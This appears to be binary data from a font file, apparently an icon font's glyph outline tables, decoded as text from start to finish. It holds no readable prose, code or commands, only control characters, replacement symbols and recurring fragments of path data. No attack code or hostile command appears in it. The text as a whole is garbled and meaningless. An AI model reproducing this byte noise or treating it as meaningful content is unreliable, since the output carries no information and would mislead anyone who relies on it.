			0<kJ��	((		((	���`J727676?>5?5&'&#72327>1""#"'&/"

O
%
	


2
" 
"D

'"
		2M(;��``%e73267654'&'&#"'32654'&#"563676765'&'4'4'&'"/?3:302;2#'"� +	

*,-*
�
B^

,
!26$,C�!('� |@%
 		���`	Q722;&'&#567676?;3"'&#"#4?6764/#03"'�*(
�;F
3
	2!q	G�p% �
��x=!

94����!)62"&472#!"&=46;7>;2264&"�<**<*�&&��&&8

�

�\BB\B�*<**<�&�&&�&""��B\BB\���`<;5#535#"&=#4&"27++"&=#"&=46;546;232`���(
� 


*8
�
8
�
&
@``
(�


h(

(h�

&
@��@`2#"/#"'.546763#

	nn	

`��	jj	B���`Scs+"&'&74654&74>7>74&7465>74&5>7>74&74>7>26;2+";26?6';26?6&+";26?6&+"�
D�$

	�E	��K	�������
	
							
��	P���`54&"2#"/.=46;2#"&'7654/.#32p	{


	�


h
 
�	`	{

	v		�
 
8
 
�	p
	|		�	 
h

�


	|	v	

�


�
��{`4&"2#"/.=46;2p	{


	�


h
 
�	p
	|		�	 
h

�
�`#'+/37;?3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3'((' /`��`��`��`��`��`��`��`��`��`��`��`��`��`��`��```#/377#57#53#535#535#35##5#53#57#5##5335'#5!#5`   � �````�``@�  `  `  ` ��`�`  �    �`````����    �` `�  ��������R-Ik"/#"&=46;762#"&54>4.54632#"&54767>4&'&'&54632#"&547>767>4&'&'.'&54632�
SB	
BS
`				U*$



$j@4

	""	

4(��
S
`
S
{&!		LA	

).)

	-sa
	DLD	
 8-"/#"&=46;762#"&54>4.54632�
SB	
BS
`				(��
S
`
S
{&!		�8"/#"&=46;762�
SB	
BS
(��
S
`
S
�`K%#+"&=46;227654.">3546;2+"&="&/&54>2�."	,JTJ,	"."8LTL8"�)%�&A''A&�%)&F44F���`7+"&5&5462#".#"#"&=476763232>32Pp6& #0D
:/. 	

 
@
��<

�
%
�


 `7354&"+"&=46;546232P�&4&�
�

B\B
�0&&H�

�
0.BB.0�`/?O_o7+"&=46;25+"&=46;25+"&=46;2+"&=46;25+"&=46;25+"&=46;254&#!"3!26#!"&5463!2` ������ ��p ��pX==�==��������`$G%#"&'"&=46;23267676;27+"&4?&#"+"&=>32762zfE%D!
	
p
"-":
0
p
"%2":
2fE$F!
xCS 
p

# �p

#"!CS 
���`3+"'&?&#"3267672#".4>3276�
p
"%2/##/5"M+'G33G'%E!

@p


#"#/4/#"!$4GNG4 ���`'$#"'&=4764."2>".4>2(��($?J?$$?J?\4XhX43YhX�P	�	P3J?$$?J?$$�hX44XhX44�@
#%3&45'#0#337#!"&=4?>;2O6�6OP�
��	<�<�||0(x	
x�����`$0%++"&=#"&54?62&"2>4&".4>2000PP5J?$$?J?$$\4XhX43YhX�XXPP~$?J?$$?J?0hX44XhX44���`$0%"/&76;546;232&"2>4&".4>2PP0003J?$$?J?$$\4XhX43YhX�PPXX�$?J?$$?J?0hX44XhX44��%=$4&"264&"27#!"&=46;2?32'"/&76;546;232@


J


*
��

t"("t
Qpp
@
@
@
*






HP

P
""�
pp

p

p�@C%5'4&+";26+265'4&+"3#"'47>;";265'4&#32.<��D�h	U*U	h�PPr@@00�����` ,7+"&=46;546;24."2>".4>2�P8h$?J?$$?J?\4XhX43YhX�pX�J?$$?J?$$�hX44XhX44��@`#3!5#"&=#3&/&'#!"&546;2 h
��^N�
��

�
N
�
h`Nf�

P

N�A5%+5##"&=04577+"/#"/&6?62546;2`
`@`
��8���=07�x	``
xvv���31f.��``/;Cg7+"&=46;2+"&=46;2+"&=46;25#;2>3'&+"++"&=#"&=46;7>;232�@@ ���pP��M
P
MȐ��������

%��*	

	*���`n$4&"27##"/+"&/&'#"'&'&547>7&/"&=463767&'&547>3267676;276322&4&&4�.	$"8
$ 	..
%"8
$ 	.�4&&4&[7	
	#"
.

7$"
.

���`/?O7+"&=46;27+"&=46;27+"&=46;27+"&=46;27+"&546;2@00`00`00`00`0000PP<��\��|��p����)5%".546762>54&'.7>'"&=462�4GNG3(%#/4/#
%(��'G44G'.P6/##/6P��

�
���`0%+"&=46;24&"2#"/#".4>2�� B\BB\�
V-7$A//AHA/V�9\BB\BS
U/AHA//A$7-V���`#+D%++"&=#"&=46;546;2324&"2#"/#".4>28888 B\BB\�
V-7$A//AHA/V�88889\BB\BS
U/AHA//A$7-V��E%#$"/"/&4?'&4?62762D"JJ"JJ"JJ"JJ@"JJ"JJ"JJ"JJ�-$"/&4?62762��""["J�"��""["J�"�`/?O_7+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;25+"&=46;2�
P

P

P

P
@
�

�
��
P

P
@
�

�

�

�
H0

0
v0

0
�0

0
�0

0
�0

0
v0

0
	�`/?O_o�7+"&=46;25+"&=46;2+"&=46;2'+"&=46;2+"&=46;2+"&=46;2'+"&=46;2+"&=46;25+"&=46;2�
P

P

P

P
�
P

P
�
P

P
�
P

P
�
P

P
�
P

P
�
P

P

P

P
H0

0
v0

0
�0

0
�0

0
�0

0
�0

0
�0

0
�0

0
v0

0
�`/?7+"&=46;25+"&=46;2+"&=46;25+"&=46;2�
�

�

�

�
�
�

�

�

�
�`

`
�`

`
�`

`
�`

`
���`/?O_o���54&+";26=4&+";26=4&+";2654&+";2654&+";2654&+";26'54&+";2654&+";26=4&+";26=4&+";267#!"&5463!2`
 

 

 

 

 

 

�

�
�
 

 
`
 

 
`
�

�
`
 

 

 

 

 

 
 �p� 

 

f 

 

f 

 

��

�

& 

 

�� 

 

ƀ

�

Z 

 

f 

 

f 

 

.��P��``'%+"&54>322>32&"&462`$�%
!"!
P8P88P!##




�P88P8���x	+%7/77#"/#"&54?'&54?62Mj//jM^^r[
pp[~88~�J__Ji22�X}
;;}X
r

r���x"%#"/#"&54?'&54?62�[pp[~88~�X};;}X
r

r���`"/.54632>32��?9 		 8@9� �	#7>		>77:����@:J%5#1".'&'&'3!26=/!"312>767>7#!"&5463!2�	C((C	p��%04	

	40 ��p�	4!!4	�
*&)

)&$�����`!$4&"2#"/#".4>2 B\BB\�
V-7$A//AHA/V	�\BB\B`

U/AHA//A$7-V	���`+".4>325".4>32546?632��
�
H��
�;�
�@���`32+"&46;5'&54>3!2��P

�

P�	
`
	R	��



��	���r57.'&7?&'73276'&..'&7>�-;TF$"!2$
/�F<)&
)$/:2=�8#0!��	L!
B"H	D( ���x
%37&+327654'654'&+327!"3!2654&#532�
��� ,,  ,,�X`
+%�54
.�, �� ,,  ,���	,&���o#/7?"3267>54&"&5467'2..'>32$264&"62"&4@]'0P8+E?V_�&5
D.)%4"1�N8?)/C4��''$nV?F*8P0'^?D_��5&*.D
�4$177N'4C/)>�&&,�4*P[_72>54&+32>52.'32+#53:7"3:>5##*.5326.#4>327#3�	,"���Q
LLLQ
�,
. 
!1

�+[
rr�
%(��$$$PzM%� !'!	$%W
�$���qD3>'.7#54'&'&'&#"#54'&'&'&#"#5363267632�5W3	��u
y�)	
	)
	)'

	
07LW&M\|LE[co
	joj�
	=�	'6K?'4"27'4"2?'4"2?'&"2?'4"0123021264&#".#".

.

.. PP"":(S  1KK10cc0/dd//ss

!.!&4����o
$7&7&#"73654&53>7!�4<�B�),�N0��4.k"&2V��Wb:�<	
�j�!#2[�:$�*
q8-���a#=L+"+;26?>;2654&'"&7>;2654&'.+";26?>;2+"&z	bX
	0
Xb��
Xb1 dD	0)
,'	:H
FGG:"�FG:"	���=

���a"2BJ%&76'&"7476'&32654&.>74&#"3226'.'&>>&M
4"
T*ApHSrplRHlR�O7		*=	
	>&
�,%+�$!*C:5FU.�+G;
+G�8O

	<+			&S	 $	 $���m>727&7654&'�Jb17C"P.j.PD71bJm
sLK:oD}N22�Dp:KLs
���xEMi%.'.54763232654.#"#"&'&'.#"32>54&6"264"'#"&547&54632632
		



		!�~~�~�

-A%
	.@%�	


		
�~�~~��C/&
B/

&���xe%654&#"&#"32732654#"'.54632327654'&'&'&'.5467632#"'&'&'&#"�sR!/CsQ/CY#+

!'


(rTvE0 TvE0	(%



		 #
		
,���T)74676332?+"?#545&'";26=}+�^h=?P�+�^h=?� 8�EC�P|_ 8�EC�4���j>MR4.'#'&'&"+&32612&76737&32>..#"'&632'732�\
(4	V
*&	!H!*�NA $	$h	3		; 1	.CVC=�'�CN���l7"/#"/75'7'7'��XMGG4��4��WO~N�ONlPIR��;;#UU#PGRPBS?�BP?���a!19%"&547#3!26=#7!"362354&+"&=46;24&"2TD`DO$$O��$b#x#b$  Z*<**<�0DD0�$$��$A11A$K!�<**<*���n"2f%&"'676&%.>77>&676&7327332654'6776'&'454'414'."0}
	)2A!F�2��
"

M;$�
6-+	m�

,\

1F

:8E$�M!"?)
U��				���x*:B"6>54'&.6766'..6767..676&327&9�~56O2N+2gKo	yU"*v3
9�10�.5�9	�.08w~YQ=6-']6Y�.	30
-!�"3���f
%5="6>54'&&766'..6767..676&327&2�s11H^-'.^
EfoM$
'l.5x-,�+
1�4�)-3esRJ81LU2R�*/5&

�/���x&"264"&4632&7>=29�~~�~�3H33$

'
w~�~~�M%33J32		A
���O%676'&'&'.6765&#"2654e)
>L >$!Hee�e�#/�06<
dg�ggH���x="264"&/.#"327#"&546323254/&5432&#"9�~~�~�	#$	#/)"w~�~~��	
 $!
%!$"�87#"&546323254/&546327&#"#"/.#"327�*,==kD!%3R(4<##6E120HE/, f-$+)	4+/G:
A"(5	B34(G:9@���x$5"264""&=326=462'54"&=726=39�~~�~�
)'	*e)	'w~�~~�'GGL���K-7754&""&=#26=462"&='26=�.;R;M;S:{
.:S;�*::*�

;;*::*�

Q;

<<*::*;���x"*2:G707&''67&#"6327&'7&'3267&#"6"264"&462'632&'�,.`!
	`
2&
&Q	/�~~�~�X==X=T	
�
!,Qv"?* $�~�~~��=X==XA	���o&.<HN7&'67&''>.##&#">"&462'327&'076&'67&�"%4Ll\Y-2^F�2B#/
�yy�y�20<$!=>'2
@4�7.A)$C3!�3',/8"��y�yy�8
%@FF

>0%KC;+K���x*"264#53'"&462#54#"#54'336329�~~�~��++



�+,&w~�~~���



�NQ_���g
%#"&5462374'33>32#54#"#r)XV3K+-7W+ W<����'2'=;��< ����x$"264#".=#5>733#3279�~~�~�
11	w~�~~��
I5 6

b��^o#"'.=#5>733#327]-":aa
�;) hAi$���x3"264.'&>7&6>&'.&7>769�~~�~�

	
(!".%9*w~�~~��	;
($
.#&
$, +"!(@1���27.>7&4>>&'.&7>76'.�	
 
/	OC)
B[;Ip	H0X:I *9$5-%'..#/FK#F)
X>V	CA2^<���xFR_7&#"#327>"264#"+".4>3.="#"'&54>;#7##5#53533"#7>'4&�			
i�~~�~�


4	W""""��
�~�~~��



	
 P""""0
���f2AR^323#";2327654.'&47654&'676=#"&'&767232'#"&'&7676325##33535-!!.)%5#g$�$,$�+CC+C3
$%=!
,
(� �0iCC+CC+���a"!";5#53546;#"3#32654&p���//-!*&
33Ia���<#0D<�!���x"264#"3##5#53546;9�~~�~� (('"" w~�~~�!dd!p��Pj#"3##5#53546;P@
PPLDD5'@$
.B��B'*;���x4"264#"'327.'327.=&547&5463267679�~~�~�B7#	!6


	w~�~~�2.J


*
���H/67&#".'&'#"'3#"'32>5456�
%#14[&',.;

;G8];  
1#
	/'-
.!%&+FT+���x*"264&'.'&'6763276&6769�~~�~t?#
		!
w~�~~�0*K

_**&"���P*%.'.'&"1'>763276&676�2=2#8@
' !	62" �-\E.
�	4#!1,'J#*:���x"264"&462"&4629�~~�~�%%Y%%w~�~~��&&&&F��6"&462"&462�I44I3�I33I4F5J55J55J55J���x#+M71"&"32654'."&462"&462"264*#".547&6762>?�
&&&&#$			?			&�~~�~�
&

�9~�~~��	!"	"!	���O.MU$"26476&'&".#323232>54#".547>321212>&"2643I(>J4!"%!%"�()	..
)(X�!!�C*C%2!5""5!2�" 		 "~!!���j"2>4. �J00J�J00j0J�J00J�J0=����#,8%676&/7'&/77676'/0?'7'70652-"0\7S6]0#B

+7�9

+/8
+o)CS���S(�
,
atc
-la
,���x&.%'5'7;?51'57'757&"264"&462m+�:377q4Bcc" 
&&*�~~�~��gg�g�57=7/<D('(
0%�~�~~���g�gg����x"&.6%#54&+;;26=4&#"#53#536"264"&4628/v/u|#^:^^
�~~�~��gg�g�/�/�X�#���~�~~���g�gg����x%-5"2>4.432&"'0#&#&?"264"&462�2%%2%d&	0&
43�~~�~��gg�g&).)&&).)&fMW
<[M$~�~~���g�gg����x$9"26432767'#"&5#"&5476327&#"'>329�~~�~��E!"! �R1Ig�
#(;BN.Igw~�~~� 
-
&%T)2gI
$-%,gI���x735#35#6"264"&462�������~~�~��gg�g�%j%�~�~~���g�gg����x"*"#7#632#"'#32654&6"264"&462�%3*++-65%1>;'�~~�~��gg�g+(**&## '')+A23Af~�~~���g�gg����x"5"264#3#33535#"&545775#7#/#'>329�~~�~��n38858EP/Ig�/"79&"9GP/Igw~�~~�%1!
!11'/gIT-eSK,'.gI���x)D"264#3#3327'#"'&'3#"&5435#'676327&#"'>329�~~�~��88 		NnR1Ig�=
2!GN.Igw~�~~� )(
	1)2gI	)%
%,gI���x$A"264#"'335>7#"&54/&546327&'5#'>329�~~�~��m"$!PR1Ig�#
RN-Igw~�~~�1	
!!$)2gI		!!%%+gI���x#6254"#"335354&6"264"&462�<<JXB'�~~�~��gg�g�*XhhX�~�~~���g�gg����x&=>&.>'"&54327&#"3267'3"&54327&#"3267'6�|��|��eb�e�

&"!e

&"!x��|����b�eb� $	#"
$	#"
�n�6"264�((�((`n`�6"2646"264�))�))�((((n��6"2646"2646"264X))�((�))�((((((x��H�37#�g�gg�����0�%5!5!5P��Ll0HPHpp��P|###7PHPHp��Llp��P|%###PHPHp0L��l0�75!5!5pL��l0HPHp}��C]?6/&}
�

�
����#=�%6/&?����=
�

�
�#=�&?6&:���
�

�
�}��C]/&?6C
�

�
�����=7?6/&�VVGSWWM}jC�7&?6/�
XWMjVVG}jC�%6/&6-WWM�VVG�=%/&?6VVGSWWM�-"1"'&?'&762�2/\	TT50`	XX^[b�%.1&"?764[50`	XX�2/\	TT^Sb�%1"'&'&47676[50`	XX�2/\	TT�%"1276/76'&"2/\	TT50`	XX�8:7���gxFH�73'y�gF�xFH�%#G�g���8:':��g���o6264&""&46237'y�yy��^�^^��[VV��yy�y��^^�^yP3[[3���o264&"62"&4353'3��yy�y��^^�^yP3[[3.y�yy��^�^^��[VV���o"264"&462'##7#5�yy�y��^^�^yP3[[3ny�yy��^�^^��[VV���o$4&"2&462"75#55�y�yy��^�^^��[VVK�yy�y��^^�^yP3[[3C�4#37��4V|V�LtK%##5#7tV|V�����L��t=%#5##tV|V�����5}47535#5��V|V�C���K'37��JV�U�5�K%##5#7�V�U�����5���=%#7##�V�U�����5��}K7#'��JV�U�P��p]'?GO4&"2654&'5>"&4624"&4625>54&"2654.462""&462�--�--B&����Ϫ�������]'75>54&"2654.462""&462� ,  , CK�����
���sMU]em%54&+"'5>54&"+"2654&'54>;272654&'5;22654&"&462462""&462"&462�'&-" , #-&' , - , - , ��q,�531>  >13  3[  [3  ��>P��p]19AI4&"5>54&"2654'>7>7>$462""&4626"&462o-+--$���&"
\�"&���P��ps4<DL%"#".=;3264&#"#".=>54&";3264.2"&4&462""&462:JJJ-'&J#��9
W , 
3  �1 , �������f/&"276.'>76&/.767.�
��
^g'{?74 !�"&@
!
X
��
^�'{
G*+
)CD%���p'5C>76..642?64&"'32?6..32?6c
5HA@(	+b`�#83"
#83"+
*:
�	+
+
	(@AH5
`b+�
"38#
"38�+
+*+	+P/�%#!"&7%6���h
S�
���j
775#%''3'\F-A-�}-A-�/DA-F/��-F/�-.���Q
75'3'76D-B,�B,�7DQ,B,D7��D6�,BYg#%'&?654&'6"2=�

�RCC�f�fy��Yg#76=4&#'2=4"��

�NCC�f�fc��$�76=4&#6=4&�		���

��o�oo�o$�%'&?654&/&?654&'��		�͡

��o�oo�oYg'#";26=4&E��&
�

�
C}="264!�\\�\=\�\\�iW="25&"25WQQ�QQ=���}%%'&?654&'v�

��w	
�
	v���i!%)-7'5'6&'&32?65'557757�ZZZZ���������ZZZZm$${$$�
DD
��HH��:�:�:�:�$${$$d��\�#"324&#"74&E^-	
C
y^CC
�	��P}	
C��QQf

���1j	#"74&yQQ
j��QQ}	�'%".#"&#";5#7#3264&U		?(1F"//"p/NN/V,??�%.D0	/A/UggU>V>�'%".#"&#"3!264&U		?(1F"//",??�%.D0	/A/>V>���=,%'.+3'37#"3!26?6#!"&/&63!2�G
.	<rr<	.	F
>
)
��

 
��[__[	�S	

	S&"		"


,���T
#"3!26=+"&=3#3T�Y	�	�--S���@		pY���T$%'##"#'&+7#3!26?6&'#5##�G,LO�OL,G	n	dJVItQ0;22;0	E

E	�ssm���T$3353'##"#'&+7#3!26?6&�tIVJ\G,LO�OL,G	n	Smss�0;22;0	E

E	5���x,72>57"7'&+"26=4&'##676;2L<B<7��	*	*9c�c9C$&)./����"%%"+29���T7G4&'#!"!'#"34&''!53!2>7>76<.+"&'=3353|��8C��j��	8	q
�
t

Y

Y
$$

�

�
w
,##���T%!"3!26?6&'.+"/&+"!��j	j		�
I	{���1


	:C��}j'#";2654&'&76&'.67653P��C
'%
j��:�'u
�+�='*54&#!"3#3#3#3!26=#535#535#55��l------�-----�p--,----,--��C���i (%'.546;7!"3!26=4&!57?�.
��0"P`8\��

D

 ��)>:K �p
�G"DD(�

��&aM;H�=3!26=4&#!"!5f�������������&%/.?6?6&%7'?>/��
�HQ�
B�k�A���W"��-m6��*
0�W/�/Z*-
~%C��}j#";2654&#3P����j��:��:C��}j#";2654&3##535#53P��༼�����j��:^'�'1(C��}j735#7#";2654&#3#3#3�}}�����1~~~~�(���:��:1'�'C0}#%!"3!264&%!264&#!"!"3!264&f��





��


��


��





�



-



�



Yg'#/#";2=43#";2=4#";2=43#";2=4�)##)$y)$$)#�)##)$y)$$)#&#)$$)##)$$)#�$)##)$$)##)$0�+77#";264&#";264&%#54"#";2=324%#";264&��	

	�	

	�	

	�	


M,JJ,M
�݇	

	�	

�



Y



YM

M,M

M,Z



C0}#/;G7#";264&'#";264&'#";264&3264&+"#";264&#";264&p


	

	


	

	


	

Q�


�


��


�


�


�


]



Y



Z



-



-



Y



�9
#553'#3:�ZZ�Z��,LH)~M-?(4�73354&+5l�?�ZZ�l~-MG
���X"#7#>32#"'3264&7'5�Jk7SR@P79QQ9-$1?Lll\D:XiJ\\7NQrQ"'l�lUiD:]�'%#3!537'#"3!26=4&}UC��^ZZp:�?^^1QP1���'753'3;'754&+3#7p-ON-�9��9z-ONXuYY�>�>uYY,{'737'#5#Z�ll�?]CbcD���'%#553!!26=4&f�__��5�1PQ1^>����_'7%37'#"+32>7>6767&+32#"';7'R^^3,! //3, !�
4=//'(&5@^^�-QP5(?)
'0>�'
46PQ
���X"#7#>32#"'3264&�Jk7SR@P79QQ9-$1?LllXiJ\\7NQrQ"'l�l
���X23'3.#"327#"&46�Jk7SR@P79QQ9-$1?LllXiJ\\7NQrQ"'l�l(���X7&6767''7767>'7|'' ->-53'|a3'' ->-53'A)q' /-5�6(�؂4)q' /-5�6(
���T&"3!26'#535#53���	�	�2222^��-"����o<>&#"&5>;7#5676767654'&#"#5676323�wz�w�<
0
2$oz�wz��

�		
		
.#^��bj#-&#"34632;25676?6765"2>&bM:,0J	(
: �28I' +	

�))���o'>&'2#"746"?6#"'>323273�wz�w�#
51oz�wz�1

��/D+Gx��H�#2#"&546"?6#"'>323267$ A-%
)X$	
&Q�"#�@Or	#+Hx'(���x"264'4632&"'79�~~�~c��`D:.�%0t:.�%`w~�~~�tD`%�.:0%�.:D`���=#";26=4&''7'77��
��
�R99!::!99!::=����::!99!::!99^b"%#54"#";2=324T^,^^,^�^^,^^,^�b�%#";24T���,,#���]"264''7'77.�nn�n�D&EE&DD&EE&\n�nn�NE&DD&EE&DD&#���]"264#5#53533.�nn�n�.ZZ.Z\n�nn�eZZ.ZZ.#���]"264#5.�nn�nK�\n�nn�7..,���T!"3!2654&''7'77f��TEE&DD&EE&DDS����DD&EE&DD&EE,���T!"3!2654&##5#53533f��)Z,ZZ,ZS���ZZ,ZZ,���T!"3!2654&#53f��)��S���,v+J%'764&"'&"2?264A==;;==;;YGGDDGGDDJu<7"/&>7>0�	P4��
i
F�����j#"353#5#;2654&7'#3}�,��,��ZZ��jCC��--:��XW6C���j7#3354&+";26=#7'#3���,��,�Z��:CC��-eW6C6C��}j%%#54&"35462#";2?>=4&b(.X.-*�	
	�	
�61661	?
�				�	C��}T%%#54&"#";2?>=4&'462#b(.X.,	
	�	
�*Z�1661
�				�	((���O/&/&3!4&�h
2
G
!
g�K�	/	j		�X,���j#"34&#"354&#"354&}1Y
�1Z
�1Y
j��}	���	
�pp

#���O37+32654&�A\�/
	�	kGOn^O\A��	
F_oNHj���a177'&'&/32?64.'6?6.'&327,�dvp�mpfn��$	Z[$ce]F�
�F��
�'#354&;5#326=#'35#"����zu���	ഇu&pZ	
�pp
	Z�Zp
����/&"2654.%&"2654.2654.'&"Y$+<+$$+<+$�$+<+$~'=1**1=''=1**1=�'=1**1='g��Y� %54&+"2654&"&546753
	L"GdG"7@,-��	
�8"2GG2"8�, (��( ���T6"264'627&"'627&"627& �$$�J'nf 4�4 A�� N�N [��F%%M  ' 55 BNN\,���B234.234&"264-w�5[�\Kj5�**A5�w\�[j5jKa��**
���s#'77''#"&547'&"6322?64'7nO�O�"
"�"
"��s�t}O�O$"
"�"
"��t�t���T	!"!54&3!26=!3#������
(
��p��S66��

�--���j,6264&"264&"'76=!54+"3;2=#"&6Z%%�%%��	��	F	,,	�;	�
%%%%=G	|&		$�"		"C��}�#'";2654&7#'##]�

�
91H1SCC
��

U
-----0��#$"#654&";264462" "&462�V<H<V<<+�+<�m"0""0"0""0"�<+  +<<V<<VC0""0""0""0C��}f!-%"&'&26=4'"&'&26=4&"26=4wSjS^~^TjT\�\W�\\�\`

-!77!-
i5**5�"%%	�='+/5A!"3!26=4&!5!5!5!35353535##5##5#735#3#3535###3���f��f��f��
C

(
6(
6


=����D�














C��}�4775#74>'."'>2#&'.�!!~{L�L18b8	
'
&
'
	-.0&&05MM50&&0�,,,,	
8''8
	=�'".#"32673264&"4323"&'>32d"HH"&66&"HH"&66��33;;�;;3$$1d1$$1d1�v!!!!v�����f!"0;2'&17>=4&!5!���b& �-=b��fe�
����!
&764/7647&?���oo�nn�!

��

ee

ee

�
����%1=N\iv%#";264."264"&4634&+";2626=4&""26=4>&67>16767>&.6&'&6&'&'.�


	

�fHHfHy&66&�
		

		��


��



�

�iHfHHf�5J5a�
		

		��
		

		6


��



��


����'3?P^kx%#";264."264"&462&4&+";2626=4&""26=4>&67>16767>&.6&'&6&'&'.�


	

�fHHfHVJ55J5�
		

		��


��



�

�iHfHHf�5J55J�
		

		��
		

		6


��



��


C}='/7?GO6"264"&462&"2646&>"264"264&>.6.6.&264&"�<**<*5&&�


�






�v






�


Q�*<**<L&&%b


Fw


0

�



�


�


/�!"3!26=4&!5!���f��f����/�!"3!26=4&!5!#3���f��f�ZZ����X/�!"3!26=4&!5!#3'#3���f��f�ZZpZZ����XXX/�!"3!26=4&!5!#3'#3'#3���f��fZZpZZpZZ����XXXXX���j'+2!";5#5!#32654&"&462"&462!5!3353���YZhZY��


#


���mCSDj��,��,
K







tl�����T#'!"3!2654&2"&4462"!5!5!5!���f��


-


a��h��S��*						��$�'#'+/37;?C!"3!26=4&3##5'3##5'3##5'3##5#53#53#53'537#53��~

�
�--D-Z--C,Z--C-Y--C---���C--C-YY&
�

�
,-,,D-,,D-,,D-,,p-----,,C-���x#Xg"264.7>'.'"'&>'&&'&7'762#"&54&54&546'.#>>727>76#"9�~~�~ &	
7F�

+"	N
!$!.7w~�~~�Y>2
(

_z

	%$	
.?��
���j.6267.'"&'627&'&"'"&572?6&�P;+8+7X
8�T	HdH	T�0�q
4

0
~$,�""	U		U	���j	##326=4&;#"%&"#3+562��Z,+B+1�1b2&���,�PI/��P���r77676.&7676>
+1
$*s�5	#4P
&.

*#�3$	4!���d-5%>'4&'&.76#7>&6&4625&$K9/1:%f66O$,/
&
;"
�G��yX
"2>76".4>2$�W :@: {@;;@;X%��	;




���=%%'.+"3!26?6#!"&/&63!2�G
�
F
>
)
��

 
���S	

	S&"		"


(���f	+6?'?>5/7'454627654&"Y	t�	Y�t'8'tl�lJ

JJoL
L%%L
LHeeH���a(/;"67&5462#'2>74676&7.6".4>2L�d&!1.=I%@J@&��-	�JC""CJC!!a,,-+


"$
��"9m�';G$46;.+";267#"'"/.5".7>6707>17#";264&Y 
 %�:>>:�% 
]B( C(�


uV6TdT9
$$T((1���z0.?6?7>'.
>7>�P02@t	"
.5.+A	

-&2:
H0�,JW	W
		/���o'7AM]i7267&547&'647&'67&7267&#"667&'#"'67'&'#"'6676543276545&v$"	"
	�
#%07&"
M(	<7UK@)4�0.-�O1.)� ,		,19062�

�<0

(E'@
+9B P
	5A[�%H  
���K>IRlo%.#"#5636'4&5&#&54#0"#"#?>77>.54767?632'&+"1;27653;2'&'7�
7'LHDB- '
*$�

(�,(#&N'�! � .,4-&&"SU#
		`\	 '�}nHIfvv�-
1767>&7267&#">'&54603267654�
#
a�^�h�	
$

K	�͒	�e
		
Rr4C

	
cb��^�/d54&"26=4.54>'632#"'&67.54&547>4.'&5'27]M`M  M`M ++�'5-';8)i)55))-l-)5##5$$5##5$).G	�
	((	

	((	���G?_7>32>7>.&'.&'.7>32>7>.&'.7>32>7>.;%.8,*%. 9%*Q%. 9%*%.8,*%. 9%*%.8,*�
*y
 ���T'7733&'.+&'.+"#"3'>;2#6#5#3!27>1#�(�HdH�!	D		�	M(�&P&��-d11l���,("&&%���o"264"&4625�yy�y�8''8'ny�yy��'8''8b��^x&&"2654."&54>7676�! JfJ !
s+K3073II3703K�	D*,	�'6%".#"&#"3!264&'&54?&/&5476763U		?(1F"//",??�1
2
�%.D0	/A/>V>a1	33	3���:j&>.'&>�#$RORGTOQ*PS#aZ�$aZ���j###5##5#"3!2654&!5!'#37#3}H�H:��:��=----��
�Ƴ�MMMP��p�'/7%#""&=4+"#";2=4+5>=426=#74&"3f
	5v5	
	=<;		�		;<=�F �� F ��	>44>		>)A;				;A)>	k
GG
�_���o"264"&462'#7'5�yy�y��^^�^� MCny�yy��^�^^��zMC"�,"2>4."&462'&>&#"2654	RL3&&3LRL3&&3LR;;R;d*!%%!!%%!�8P88P((���o"*3>&'6&"'6&5&7'727&"&46264'73�wz�w�-(:&D..-(:&R::R:.oz�wz�[..�&+-(:�..P:R::R:&+-(���h373:>54&/#'##'#373x-dt	"td-8Q2-$$-2Q=�	��,LL-���]'+.'&+"3!2776".'3273'73�+�+
$*�*!*D*�2�2.!!�%

�*TT*�44
,���j#'+/3!"3!2654&!!#37#3'35+3#;5##3'35#f����pppDZZZZZDD--ppp��---j��:��:�p--ZZ-C��}u%'&3276=4/676326=4u�BAy�
�

h


�(K	�f

	^�	�	���K-972>7>77'&"2?'#"&4632764676&/J!%$
|պ �� x�	
�#Dn!!
	
<�hhiD-�	8A
'���xOSW%'&4?6&/.?6&&/&"/&?62?>6/46?>#535#53�''3
<

$
#''/
7

'

#�,,,,k##K&
'

#

$	##
I
"	
'
	$	"/t/��yw&7>'57&7>5�)�)C��	
,
$�%�	
,
	$;`��bf#&7>'532764.$ '"#="#	!e��

42)�$"		!.. &���F!>;7>17>76'&#"wX
PE=	!XKO 	n>$1"5^c$3m$5
-4S.	')+=9=���>!&32>74.7>7>&"&462�n�6V_S+E&%#�I&i5AY%8�(���X
$'264'&'B^�89�s: �^ :s�98!���i+7$.?7676'.'&'&67676&.>�5I
"N8
$%;+$#�{Q	)*2*3	
-	
%0;<"3:9���T#+36"2647#"/&+"+"3!26=4&"&4626"&462�8''8'p6
�
6f�\BB\B:
		
	�(7((7k
)

)
���A]BB]i	
		
	����.&'&+"?6?6/>.67632767�L
G
�_
�&(r	w
	
F:��
�
F
S����o)/;A7467>54&+."#"2654&'7673&2".463.�#'
M	7Z7	M
'# *;R;* ?8*�8))8)d8#*>*7"

"7*�/F)4� F/4���g,8Zb7674676'&'&7654#&"767646&?6'&"0'.67676&7>7>?'F!b6
:
� �		@
9%0�}	n!�

')'
	

	�		0	
 ##	'
7��		l'#���]08$47&''&7&'"&''6>267&7667"&462x$	!
	!"!	
!	$	$2
	!"!	
!	�D00D0~D$		$"!	
2$		$0D00D���\.3'>>76&�3L( 8(*S-(#5%>+"���
C>,���T;7"&4?6264'&2?64&"7.2?6'&"32?64�!C%
CB1G
�A

G!
"!G7!B%
CF1
�
!G 
 GE-���e+7%."&7>'.&'&>7>'7>'05H&+.	
wIFV	3ON*..K$�=%%�/1)		&aV3Y�	
	
	#
	&���T#'7!26'&+5##"!";!'326=4&73"|	S�S��z		-T-	����CC	O	pp	O	Ȓ����f'.?6?6&>6.6&�7>
=	�!"	�*=�

�!$7=)�	"!�	=
d
z!!/���Q%'654&"3272?6$462"�UUsQU:%!U��8O=8P&T!':UQsUU�O8<P8,���T#";26=4&#53#;5#f������-��S��ೆ�-���U%'&";;53326=326���
&	W\[
&
���
���
�
,�+'"32#276'&'&3"32#276'&'&n&& $!J.*;�&& $!J.*<+(7("( NFFE(7("( NFFE,�=!";5326=4&f��YZY=�CC����j#75#";7326="#7#"35326=4&�UCpt��Co��DD)��DD�,���j/7>7>=4&#"2>=4.#"�1
�@7/1�e&2"<	�&� 

m
�,���i0%&>'&32654.'"374'&=47621
�@7/1��&2"<
�&� 

m
